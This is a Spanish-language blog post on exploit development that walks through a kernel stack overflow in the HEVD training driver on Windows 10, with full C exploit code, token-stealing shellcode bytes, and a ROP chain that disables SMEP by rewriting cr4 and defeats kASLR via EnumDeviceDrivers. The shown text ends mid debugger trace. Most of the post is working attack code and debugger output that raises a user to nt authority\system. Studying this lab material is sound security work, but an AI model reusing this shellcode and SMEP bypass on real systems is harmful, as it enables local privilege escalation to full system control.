xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

HEVD: Stack Overflow


En este post se llevara a cabo la explotación de una de las vulnerabilidades del driver HEVD, en este caso iniciaremos con lo mas sencillo, un Stack Overflow que es una de las vulnerabilidades conocidas pero esta vez se explotará a nivel de kernel.


Reversing


Lo primero es entender como podemos comunicarnos con el driver, hay que entender que no podemos acceder a la memoria del espacio kernel sin embargo existe una interfaz del sistema operativo que permite esta comunicación, estas son las llamadas ioctl, cuando se instala un driver establece un nombre de dispositivo llamando a la función IoCreateDevice, utilizando IDA podemos desensamblar el driver y ver esta llamada en el bloque DriverEntry, el nombre es \\.\HackSysExtremeVulnerableDriver

Cada función se identifica con un código ioctl, el driver acepta las llamadas usando estructuras IRP, o I/O Request Packets, en este caso podemos ver una función almacenada en la tercera entrada del objeto llamada IrpDeviceIoCtlHandler

La función IrpDeviceIoCtlHandler es la encargada de llamar a determinada función dependiendo de su código ioctl, para ello utiliza una estructura tipo switch

Entre multiples comparaciones se muestra el código ioctl perteneciente a cada función, en este caso nos interesa la que pertenece al código 0x222003

Siguiendo la flecha verde podemos ver que es el bloque encargado de llamar a una función con el nombre BufferOverflowStackIoctlHandler que tiene la vulnerabilidad

Esta función simplemente se encarga de llamar a TriggerBuffferOverflowStack pasandole un buffer que sera nuestra entrada y el tamaño de este

En la función TriggerBufferOverflowStack podemos ver que se llama a memset para reservar un espacio en memoria de tamaño 0x800 o 2048 en decimal

Finalmente se llama a una función llamada memmove, pasando como destino el buffer reservado al inicio de la función y como fuente nuestro buffer introducido


Crashing


Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo un buffer llamado payload con un tamaño de 2500 bytes, (un poco más del buffer definido) el cual rellenaremos con A's, luego de eso lo enviamos al controlador

#include <windows.h>
#include <stdio.h>

int main() {
    LPVOID payload = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(payload, 2500, 'A');

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222003, payload, 2500, NULL, 0, NULL, NULL);

    return 0;
}

Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la llamada a memmove y continuaremos la ejecución normal

0: kd> bp HEVD!TriggerBufferOverflowStack + 0xca  

0: kd> g

Luego de compilar el proyecto nuestro exploit nos queda en un .exe que ejecutamos

C:\Users\user\Desktop> exploit.exe  

Volviendo al debugger podemos ver que en el kernel hemos alcanzado el breakpoint a la llamada, sin embargo se nos revela que no es a memmove sino a memcpy

0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff806`7d68667e e83dabf7ff      call    HEVD!memcpy (fffff806`7d6011c0)  

Según la documentación oficial de Microsoft, la función memcpy recibe 3 argumentos, un puntero al buffer de destino, un puntero al source y un contador

void *memcpy(
    void *dest,
    const void *src,  
    size_t count
);

Las convenciones de llamada en x64 nos dicen que los primeros 3 argumentos deberian estar en los registros rcx, rdx y r8, en rcx podemos ver el destino, en rdx el source o lo que se va a copiar y en r8 el contador que son 2500 bytes

0: kd> db rcx L40
ffff888c`00994f70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................    
ffff888c`00994f80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................    
ffff888c`00994f90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................    
ffff888c`00994fa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................    

0: kd> db rdx L40
00000195`19c80000  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
00000195`19c80010  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
00000195`19c80020  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
00000195`19c80030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    

0: kd> ? r8
Evaluate expression: 2500 = 00000000`000009c4

Luego de ejecutar la llamada podemos ver que el contenido del buffer se ha copiado al destino, sin embargo hay que recordar que cuando reverseamos el bloque el buffer definido era de apenas 2048 bytes y nosotros hemos escrito un total de 2500

0: kd> p
HEVD!TriggerBufferOverflowStack+0xcf:
fffff806`7d686683 eb1b            jmp     HEVD!TriggerBufferOverflowStack+0xec (fffff806`7d6866a0)  

0: kd> db rcx L40
ffff888c`00994f70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff888c`00994f80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff888c`00994f90  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff888c`00994fa0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Avanzamos hazta el siguiente ret donde podemos ver que hemos sobrescrito la dirección de retorno con 0x4141414141414141 que es igual a las A's en hexadecimal, si intentamos continuar provocará un error ya que esa dirección no existe, de esta forma controlamos la dirección donde apuntará mediante un Stack Buffer Overflow

0: kd> pt
HEVD!TriggerBufferOverflowStack+0x10b:
fffff806`7d6866bf c3              ret

0: kd> dqs rsp L1
ffff888c`00995788  41414141`41414141

0: kd> p
Access violation - code c0000005 (!!! second chance !!!)  
HEVD!TriggerBufferOverflowStack+0x10b:
fffff806`7d6866bf c3              ret


Offset


Para encontrar la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno crearemos un patrón de caractéres utilizando cyclic de pwntools

❯ cyclic -n 8 2500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaajzaaaaaakbaaaaaakcaaaaaakdaaaaaakeaaaaaakfaaaaaakgaaaaaakhaaaaaakiaaaaaakjaaaaaakkaaaaaaklaaaaaakmaaaaaaknaaaaaakoaaaaaakpaaaaaakqaaaaaakraaaaaaksaaaaaaktaaaaaakuaaaaaakvaaaaaakwaaaaaakxaaaaaakyaaaaaakzaaaaaalbaaaaaalcaaaaaaldaaaaaaleaaaaaalfaaaaaalgaaaaaalhaaaaaaliaaaaaaljaaaaaalkaaaaaallaaaaaalmaaaaaalnaaaaaaloaaaaaalpaaaaaalqaaaaaalraaaaaalsaaaaaaltaaaaaaluaaaaaalvaaaaaalwaaaaaalxaaaaaalyaaaaaalzaaaaaambaaaaaamcaaaaaamdaaaaaameaaaaaamfaaaaaamgaaaaaamhaaaaaamiaaaaaamjaaaaaamkaaaaaamlaaaaaammaaa  

Ahora en lugar de rellenar el buffer payload con A's copiaremos los 2500 bytes creados con cyclic al buffer, después de ello compilamos el exploit

#include <windows.h>
#include <stdio.h>

int main() {
    LPVOID payload = VirtualAlloc(NULL, 2500, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    const char *cyclic = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaajzaaaaaakbaaaaaakcaaaaaakdaaaaaakeaaaaaakfaaaaaakgaaaaaakhaaaaaakiaaaaaakjaaaaaakkaaaaaaklaaaaaakmaaaaaaknaaaaaakoaaaaaakpaaaaaakqaaaaaakraaaaaaksaaaaaaktaaaaaakuaaaaaakvaaaaaakwaaaaaakxaaaaaakyaaaaaakzaaaaaalbaaaaaalcaaaaaaldaaaaaaleaaaaaalfaaaaaalgaaaaaalhaaaaaaliaaaaaaljaaaaaalkaaaaaallaaaaaalmaaaaaalnaaaaaaloaaaaaalpaaaaaalqaaaaaalraaaaaalsaaaaaaltaaaaaaluaaaaaalvaaaaaalwaaaaaalxaaaaaalyaaaaaalzaaaaaambaaaaaamcaaaaaamdaaaaaameaaaaaamfaaaaaamgaaaaaamhaaaaaamiaaaaaamjaaaaaamkaaaaaamlaaaaaammaaa";  
    RtlCopyMemory(payload, cyclic, 2500);

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222003, payload, 2500, NULL, 0, NULL, NULL);

    return 0;
}

El breakpoint ahora será directamente en el ret donde se prodice la vulnerabilidad

0: kd> bp HEVD!TriggerBufferOverflowStack + 0x10b  

0: kd> g

Luego de ejecutar el exploit podemos ver que la dirección de retorno ahora tiene como valor algunos de los bytes que contenia la cadena creada con cyclic

C:\Users\user\Desktop> exploit.exe  

0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0x10b:  
fffff803`399666bf c3              ret

0: kd> dqs rsp L1
ffff8909`bd3b8788  6b616161`6161616a

Ya con la dirección podemos calcular el offset nuevamente utilizando cyclic

❯ cyclic -n 8 -l 0x6b6161616161616a  
2072

Sabemos que después de rellenar 2072 bytes tenemos la dirección de retorno, entonces reservaremos un nuevo espacio llamado shellcode donde copiaremos un total de 64 C's, luego el puntero a shellcode lo copiaremos a payload después de 2072 A's por lo que el controlador deberia intentar ejecutar las C's en el ret

#include <windows.h>
#include <stdio.h>

BYTE sc[64] = {
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
};

int main() {
    LPVOID payload = VirtualAlloc(NULL, 2080, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 2072, 'A');
    RtlCopyMemory(shellcode, sc, sizeof(sc));

    *((ULONGLONG *) ((BYTE *) payload + 2072)) = (ULONGLONG) shellcode;

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222003, payload, 2080, NULL, 0, NULL, NULL);

    return 0;
}

Ejecutamos el exploit y ahora la dirección de retorno apunta a 0x209494a0000 y esta dirección de memoria contiene las C's por lo que ya podemos ejecutar instrucciones

0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0x10b:
fffff806`430f66bf c3              ret

0: kd> db poi(rsp) L40
00000209`494a0000  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
00000209`494a0010  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
00000209`494a0020  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
00000209`494a0030  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  


Exploit


Finalmente solo nos queda modificar el shellcode, para ello utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso SYSTEM y copiarlo a nuestro proceso actual por lo que deberiamos obtener sus privilegios, luego de ejecutarlo simplemente ejecutaremos una cmd.exe para obtener una shell

#include <windows.h>
#include <stdio.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

int main() {
    LPVOID payload = VirtualAlloc(NULL, 2080, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 2072, 'A');
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    *((ULONGLONG *) ((BYTE *) payload + 2072)) = (ULONGLONG) shellcode;

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222003, payload, 2080, NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Al ejecutar el exploit deberiamos pasar del usuario llamado user con bajos privilegios a nt authority\system que es el usuario con máximos privilegios sobre el equipo

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


SMEP


El exploit anterior funciona bien sin embargo aún hay algo a tener en cuenta, este corria con la protección SMEP deshabilitada temporalmente sin embargo a partir de Windows 8 todos los windows actuales lo tienen activado por defecto, entonces veamos que pasa ahora si ejecutamos el exploit, al ejecutar el ret e intentar interpretar la primera instrucción del shellcode nos lanza un BSOD y este muestra el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY y no podemos ejecutarlo

0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0x10b:
fffff807`68b466bf c3              ret

0: kd> p
000001f3`b6260000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x000001F3B6260000,0x00000000009A6867,0xFFFFB7082817EFC0,0x0000000080000005)  

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff807`4de077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 000001f3b6260000, Virtual address for the attempted execute.
Arg2: 00000000009a6867, PTE contents.
Arg3: ffffb7082817efc0, (reserved)
Arg4: 0000000080000005, (reserved)

El SMEP impide que se pueda ejecutar la memoria de modo usuario desde modo kernel, sin embargo esta protección es controlada por el bit 20 del registro cr4 por lo que si cambiamos su valor a 0 podriamos deshabilitarlo y ejecutar el shellcode

Entonces lo unico que necesitamos es tomar el valor en binario del registro cr4 cambiando el bit 20 por 0 y obtenemos su valor equivalente en hex a 0x250ef8

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00350ef8
  Decimal: 3477240
  Decimal (unsigned) : 3477240
  Octal:   0000000000000015207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
  Chars:   .....5..
  Time:    Mon Feb  9 23:54:00 1970
  Float:   low 4.87265e-039 high 0
  Double:  1.71798e-317
  
0: kd> .formats 0y1001010000111011111000
Evaluate expression:
  Hex:     00000000`00250ef8
  Decimal: 2428664
  Decimal (unsigned) : 2428664
  Octal:   0000000000000011207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00100101 00001110 11111000
  Chars:   .....%..
  Time:    Wed Jan 28 20:37:44 1970
  Float:   low 3.40328e-039 high 0
  Double:  1.19992e-317

Como no podemos ejecutar shellcode haremos ROP para cambiar el bit, para hacerlo podemos buscar gadgets dentro del controlador o el kernel, sin embargo los gadgets del propio driver son bastante limitados por lo que usaremos ntoskrnl.exe, el primer gadget guarda un qword en rcx y el segundo mueve el valor de rcx al registro cr4, sin embargo aun tenemos un problema bastante importante, la protección kASLR

❯ ropper --file ntoskrnl.exe -I 0x0 --console  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000002163ec: pop rcx; ret;

(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000003a06a7: mov cr4, rcx; ret;

(ntoskrnl.exe/PE/x86_64)>

Necesitamos la dirección base del kernel sin embargo esta es bastante facil de obtener con el primer valor del array al utilizar la función EnumDeviceDrivers

LPVOID drivers[1024];
DWORD needed;

EnumDeviceDrivers(drivers, 1024, &needed);  
LPVOID ntoskrnl_base = drivers[0];

Después de escribir los 56 bytes escribiremos 4 qwords, los primeros 2 guardan el nuevo valor de cr4 en rcx, el tercero mueve a cr4 el valor en rcx deshabilitando asi el SMEP y el ultimo salta al shellcode a ejecutar en el modo usuario

ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) payload + 56);

*rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
*rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
*rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;  
*rop++ = (ULONGLONG) shellcode;                // token stealing

El exploit final deberia bypassear la protección de SMEP y kASLR y funcionar en un windows 10 completamente actualizado sin ninguna modificación necesaria

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

int main() {
    LPVOID drivers[1024];
    DWORD needed;

    EnumDeviceDrivers(drivers, 1024, &needed);  
    LPVOID ntoskrnl_base = drivers[0];

    LPVOID payload = VirtualAlloc(NULL, 2104, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 2072, 'A');
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) payload + 2072);

    *rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
    *rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
    *rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;
    *rop++ = (ULONGLONG) shellcode;                // token stealing

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222003, payload, 2104, NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Para comprobarlo volvemos a establecer un breakpoint en el ret y avanzamos hasta justo antes de mover el nuevo valor al registro cr4 para verificar que funcione

0: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStack+0x10b:
fffff806`424966bf c3              ret

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`3a6163ec 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`3a6163ed c3              ret

0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
